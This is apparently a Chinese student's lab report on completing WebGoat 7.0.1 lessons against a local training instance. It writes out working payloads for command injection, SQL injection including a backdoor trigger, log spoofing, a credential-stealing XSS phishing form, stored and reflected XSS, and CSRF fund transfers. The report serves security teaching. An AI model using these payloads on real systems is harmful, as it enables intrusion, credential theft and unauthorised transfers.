本实践的目标理解常用网络攻击技术的基本原理,
做不少于7个题目,包括SQL,XSS,CSRF
下载webgoat:在网站https://github.com/WebGoat/WebGoat/releases/tag/7.0.1,下载webgoat-container-7.0.1-war-exec.jar
WebGoat默认使用8080端口,开启前先查看端口是否被占用:
netstat -tupln | grep 8080
未被占用,然后在有该文件的在命令行输入
java -jar webgoat-container-7.0.1-war-exec.jar 开启WebGoat
运行一段时间之后命令行出现 Starting ProtocolHandler 说明成功
浏览器中输入 http://localhost:8080/WebGoat
进入WebGoat登录界面
直接用默认用户名密码登录即可
进行JDK配置,然后重新运行WebGoat,浏览器登陆可以正常显示。
命令注入(Command Injection)
原理:在正常的参数提交过程中添加恶意代码以执行某条指令。
目标:可以在目标主机上执行任何系统命令
操作:在左侧菜单栏中选择 Injection Flaws->Command Injection
右键点击,选择 inspect Element 审查网页元素
选择 Edit As HTML 对网页源代码进行修改
找到选项 AccessControlMatrix.help ,在末尾注入 "& netstat -an & ipconfig"
点击 view开始攻击,可以看到执行指令后的网络端口使用情况和IP地址,攻击成功
技术概念 :SQL 注入攻击对任何一个以数据库作为驱动的站点来说都是一个严重威胁
原理:在 station 字段中注入特征字符,能组合成新的 SQL 语句。
SELECT * FROM weather_data WHERE station = [station]
操作:在左侧菜单栏中选择 Injection Flaws->Numeric SQL Injection
右键点击复选框选择 Inspect Element 审查网页元素对源代码<option>进行修改,在在选中的城市编号
value="101"后添加or 1=1
点击GO,可以看到所有城实的天气
原理:这种攻击是在日志文件中愚弄人的眼睛,攻击者可以利用这种方式清除他们在日志中的痕迹
目标:灰色区域代表在 Web 服务器的日志中的记录的内容,我们的目的是使用户名为“admin”的用户在日志中显示“成功登录”
操作:
在左侧菜单栏中选择 Injection Flaws->Log Spoofing
利用回车0D%和换行符%0A让其在日志中两行显示
在User Name中填入
webgoat%0d%0aLogin Succeeded for username: 20174310srq
点击Login可以看到
webgoat Login Fail 与自己添加的 20174310srq Login Succeeded
原理:通过注入字符串绕过认证
目标:尝试插入一个SQL字符串,以显示所有信用卡号码。
操作:在左侧菜单栏中选择 Injection Flaws->String SQL Injection
在用户名处输入
srq‘ or 1=1--
点击GO,可查询表里面的所有数据。
目标:使用 SQL 注入绕过认证
操作:
在左侧菜单栏中选择 Injection Flaws->String SQL Injection
右键点击页面,选择inspect Element审查网页元素对源代码进行修改,将password密码框的最大长度限制改为20
以用户Neville登录,输入密码
srq‘ or ‘1‘ = ‘1
攻击成功,得到所有人员列表
原理:数据库通常作为一个 Web 应用程序的后端来使用。此外,它也用来作为存储的媒介。 它也可以被用来作为存储恶意活动的地方,如触发器。触发器是在数据库管理系统上调用另 一个数据库操作,如 insert, select, update or delete。举个例子:攻击者可以创建一个触发器, 该触发器在创建新用户时,将每个新用户的 Email 地址设置为攻击者的地址。
目标:我们的目标是学习如何利用查询的脆弱性创建触发器。由于 WebGoat 使用的是 MySQL 数据库,不支持触发器,所以该课程不会真正完成。 我们的 Login ID 是 101。
操作:
输入101,得到该用户的信息
输入注入语句
101; update employee set salary=4310
执行两个语句
输入
101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email=‘20174310@outlook.com‘WHERE userid = NEW.userid
注入一个充当SQL后门的触发器
原理:当用户输入非法HTTP响应时容易受到XSS攻击。在XSS的帮助下,可以实现钓鱼工具或向某些官方页面中增加内容。对于受害者来说很难发现该内容是否存在威胁
目标: 创建一个form,要求填写用户名和密码。将数据提交到http://localhost/WebGoat/catche r?PROPERTY=yes&user=catchedUserName&password=catchedPasswordNam
操作:在搜索框输入如下代码
<head> <body> <div> <div style="float:left;height:100px;width:50%;background-color:green;"></div> <div style="float:left;height:100px;width:50%;background-color:red;"></div> </div> <div style="background-color:blue;height:200px;clear:both;"></div> </div></div> </form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR> </body> </head>
页面增加一个表单
输入用户名和密码,读取在表单上输入的用户名和密码信息并发送给捕获这些信息的WebGoat
原理:把恶意脚本存储到被攻击网站的数据库,其他人访问到数据库中的恶意脚本后浏览器就会执行脚本,从而攻击网站
目标:常见于论坛等留言、用户留言创建非法的消息内容,输入JavaScript脚本保存在数据库中,任何用户在打开网页的时候,脚本从数据库中取出来而运行,导致其他用户访问非预期的页面或内容
操作:在Title中任意输入,Message输入
<script>alert("I am 20174310srq.i will attack you immediately ");</script>
点击Submit提交
技术概念:在反射的XSS攻击中,攻击者可以使用攻击脚本创建一个URL,并将其发布到另一个网站、通过电子邮件或其他方式让受害者点击它。
目标:通过使用攻击脚本创建一个URL,并将其发布到另一个网站,通过电子邮件引诱用户点击实现攻击
操作
在Enter your three digit access code中输入代码
<script>alert("i will attack you immediately 20174310srq");</script>
点击purchase的同时页面就给出了反馈
目标:向一个新闻组发送一封包含图像的邮件,图像的URL指向一个恶意请求。
操作:网页提示Parameters中的src为295,menu为900
在Message中输入
<img src="http://localhost:8080/WebGoat/attack?Screen=295&menu=900&transferFunds=5000" width="1" height="1" />
以图片形式将URL放入Message框中,用户点击图片就会触发CSRF事件,点击Submit提交
在Message List中生成以Title命名的链接(消息)。点击该消息,当前页面就会下载这个消息并显示出来,转走用户的5000元,从而达到CSRF攻击的目的。
查看Parameters
中的scr=278
和menu=900
在消息栏中输入
<iframe src="attack?Screen=278&menu=900&transferFunds=4310"> </iframe>
<iframe src="attack?Screen=278&menu=900&transferFunds=CONFIRM"> </iframe>
在Message List中生成以Title命名的链接,点击进入后,攻击成功
(1)SQL注入攻击原理,如何防御
(2)XSS攻击的原理,如何防御
(3)CSRF攻击原理,如何防御
最后一次实验了,本次实验难度难度比较低,做的过程中除了jdk的安装花费了很多时间,接下来的实验进行的比较顺利,实验虽然完成了,但是web渗透还有很多的知识要在课下进行学习。
2019-2020-2 20174310 隋润起《网络对抗技术》Exp9 Web安全基础
原文:https://www.cnblogs.com/srq111/p/12978390.html